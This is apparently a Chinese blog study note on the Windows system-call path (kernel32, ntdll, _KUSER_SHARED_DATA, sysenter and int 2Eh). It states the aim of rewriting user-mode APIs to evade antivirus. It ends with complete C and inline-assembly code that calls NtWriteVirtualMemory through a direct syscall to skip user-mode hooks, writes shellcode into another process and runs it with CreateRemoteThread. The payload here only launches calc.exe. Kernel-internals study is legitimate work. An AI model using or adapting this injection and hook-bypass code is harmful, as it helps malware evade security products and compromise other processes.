前言:花了兩天寫了去寫拷貝之后,這里就繼續學習API函數的調用過程
這個章節學完之后就可以重寫相關三環API來實現免殺的效果。
Windows API
Application Programming Interface,簡稱 API 函數。
Windows的API主要是存放在 C:\WINDOWS\system32 下面所有的dll
幾個重要的DLL
kernel32.dll:最核心的功能模塊,比如管理內存、進程和線程相關的函數等
user32.dll:是Windows用戶界面相關應用程序接口,如創建窗口和發送消息等
gdi32.dll:全稱是Graphical Device Interface(圖形設備接口),包含用於畫圖和顯示文本的函數。比如要顯示一個程序窗口,就調用了其中的函數來畫這個窗口
ntdll.dll:大多數API都會通過這個DLL進入內核(0環).
分析ReadProcessMemory
IDA首先分析kernel32.dll,平常都是聽大家說kernel32.dll提供了部分API的接口調用,所以這里先來看kernel32.dll,搜索ReadProcessMemory關鍵字如下圖所示
可以看到是該ReadProcessMemory函數實際不是在當前kernel32.dll中調用,也就是kernel32.dll提供了接口調用
call ds:NtReadVirtualMemory,IDA中的明顯特征調用是其他的DLL中的函數

這里查看導入表可以看到該NtReadVirtualMemory是ntdll.dll中的,所以這里繼續看ntdll.dll中該函數,如下圖所示
主要核心的代碼就這幾條,可以看到這里有兩個值,一個是0BAh(每個函數都是不同的),還有一個是7FFE0300h(相同的)
0BAh->函數服務號
7FFE0300h->快速調用
.text:7C92D9FE mov eax, 0BAh ; eax = 0xBA
.text:7C92DA03 mov edx, 7FFE0300h ; ecx = 7FFE0300
.text:7C92DA08 call dword ptr [edx] ; call 7FFE0300
.text:7C92DA0A retn 14h ; 堆棧平衡

通過其他的也可以發現,調用不同的函數的時候,唯一不同的就是服務號,而這個CALL 7FFE0300都是一樣的

0x7FFE0300和_KUSER_SHARED_DATA
在了解0x7FFE0300的作用之前,這里還需要學習下_KUSER_SHARED_DATA結構體
_KUSER_SHARED_DATA結構體
1、在 User 層和 Kernel 層分別定義了一個 _KUSER_SHARED_DATA 結構區域,用於 User 層和 Kernel 層共享某些數據
知識點:這里可以通過windbg來進行觀察,如下圖所示

2、它們使用固定的地址值映射,_KUSER_SHARED_DATA 結構區域在 User 和 Kernel 層地址分別為:
-
user 層地址為:0x7FFE0000
-
kernnel 層地址為:0xFFDF0000
上面兩個地址通過windbg進行查看可以發現指向的都是同一個物理頁

注意點:雖然指向的是同一個物理頁,但在User層(3環)是只讀的,在kernel(0環)層是可寫的,所以這也是應用層和驅動層實現調用的數據交換的一種方式
0x7FFE0000的PTE
5 -> 0101 R/W位為0,所以可以知道User層是不可寫的

0xFFDF0000的PTE
3 -> 0101 R/W位為1,所以可以知道kernel層是可寫的

重要的知識點:
因為_KUSER_SHARED_DATA結構體是調用0環函數的重要點,所以操作系統對所有的進程其中的_KUSER_SHARED_DATA的地址都是一樣的,都是0x7FFE0000這個地址
那么問題就來了?那我是不是hook這個地方也同樣能夠實現全局的HOOK進入三環的函數?
答案是的,但是上面也可以發現用戶層的話是不可寫的,如果你在0環的話那么就可以全局HOOK的操作!
關於0x7FFE0300
上面介紹了_KUSER_SHARED_DATA結構體,這里繼續來學習該結構體偏移0x300的位置,也就是快速調用
其中0x7FFE0300就是0x7FFE0000偏移0x300的地址,也就是_KUSER_SHARED_DATA結構體起始偏移0x300的地址,如下圖所示
dt _KUSER_SHARED_DATA 0x7FFE0000(注0x7FFE0000是一個進程的CR3,在dt命令執行先切換到一個進程的上下文.process)
可以看到其實是一個SystemCall字段名稱,其中存儲的值為0x7c92e510

那么這里來觀察下0x7FFE0300其中存儲的是什么,u 0x7c92e510,如下圖所示,可以看到就是快速調用的指令sysenter

知識點:
如果當前操作系統支持快速調用的話那么u 0x7c92e510出現的就是相關KiFastSystemCall快速調用的流程(通過sysenter)

如果當前操作系統不支持快速調用的話那么u 0x7c92e510出現的就是相關KiIntSystemCall的調用流程(通過中斷門)

KiFastSystemCall
如果操作系統支持快速調用的方式,那么操作系統通過三環進入零環是通過syscenter指令

查看是否支持快速調用
當通過eax=1來執行cpuid指令時,處理器的特征信息被放在ecx和edx寄存器中,其中edx包含了一個SEP位(11位),該位指明了當前處理器知否支持sysenter/sysexit指令
cpuid指令

接着單步走一下,可以發現ecx和edx都改變了
ecx:7FFAFBBF
edx::FEBFBFF
BFEBFBFF -> 1011 1111 1110 1011 1111 1011 1111 1111
可以看到第0位開始,第11位為1,所以我這台windows10的機器是支持快速調用的

sysenter執行的本質
而CPU如果支持sysenter指令時,操作系統會提前將CS/SS/ESP/EIP的值存儲在MSR寄存器中,sysenter指令執行時,CPU會將MSR寄存器中的值直接寫入相關寄存器,沒有讀內存的過程,所以叫快速調用,本質是一樣的!
-
CS的權限由3變為0,意味着需要新的CS
-
SS與CS的權限永遠一致,所以需要新的SS
-
權限發生切換的時候,堆棧也一定會切換,需要新的ESP
-
進0環后代碼的位置,需要EIP

這里可以測試操作系統在MSR寄存器中存儲的值是多少,如下圖所示

這里還會看到,MSR寄存器在只提供了三個寄存器分別是ESP EIP CS,那么SS誰提供的呢?sysenter默認算法,SS = CS+8
快速調用的內核函數KiFastCallEntry

KiIntSystemCall
如果當前CPU不支持快速調用的話,那么它的實現方式是通過中斷門來進入0環
中斷門進0環,需要的CS、EIP在IDT表中,需要查內存(SS與ESP由TSS提供)

中斷門調用的內核函數KiSystemService
這里還需要學習下KiSystemService,這個就是當KiIntSystemCall中斷門提權int 2Eh之后的EIP的位置
dq idtr+8*0x2e,如下圖所示
通過拆分就可以直接當前中斷門描述符進入0環之后的位置為0x804de7d1

那么這里繼續跟u 0x804de7d1,如下圖所示,這里就可以看到會調用KiSystemService函數

重寫WriteProcessMemory
重寫API的意義:自己實現API,可以避免3環惡意掛鈎。
自己編寫WriteProcessMemory函數(不使用任何DLL,直接調用0環函數)並在代碼中使用。
KiIntSystemCall:

KiFastSystemCall:

代碼如下:
#include<stdio.h>
#include<windows.h>
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
__declspec(naked) void KiFastSystemCall()
{
__asm
{
mov edx,esp;
_emit 0x0F; // sysenter
_emit 0x34;
}
}
__declspec(naked) void KiFastSystemCall2NtWriteVirtualMemory()
{
__asm
{
mov eax, 115h;
lea edx, [KiFastSystemCall];
call edx;
retn 14h;
}
}
__declspec(naked) void KiIntSystemCall()
{
__asm
{
lea edx,[esp+8];
int 2Eh;
ret;
}
}
__declspec(naked) void KiIntSystemCall2NtWriteVirtualMemory()
{
__asm
{
mov eax, 115h;
lea edx, [KiIntSystemCall];
call edx;
retn 14h;
}
}
int main(int argc, char* argv[])
{
DWORD dwWritten;
DWORD dwProcessPid;
HANDLE hProcess;
DWORD dwAddr;
unsigned char shellcode[] = {
0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
0x33, 0xC9, 0x51, 0xFF, 0xD0 };
EnableDebugPrivilege();
printf("Injection Pid: ");
scanf("%d", &dwProcessPid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
dwAddr = (DWORD)VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
// KiFastSystemCall2NtWriteVirtualMemory
// KiIntSystemCall2NtWriteVirtualMemory
__asm
{
pushad;
pushfd;
lea eax, [dwWritten];
push eax;
push 0x105;
lea ebx, [shellcode];
push ebx;
push dwAddr;
push hProcess;
call KiFastSystemCall2NtWriteVirtualMemory;
//call KiIntSystemCall2NtWriteVirtualMemory;
popfd;
popad;
}
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, 0, 0, 0);
system("pause");
return 0;
}
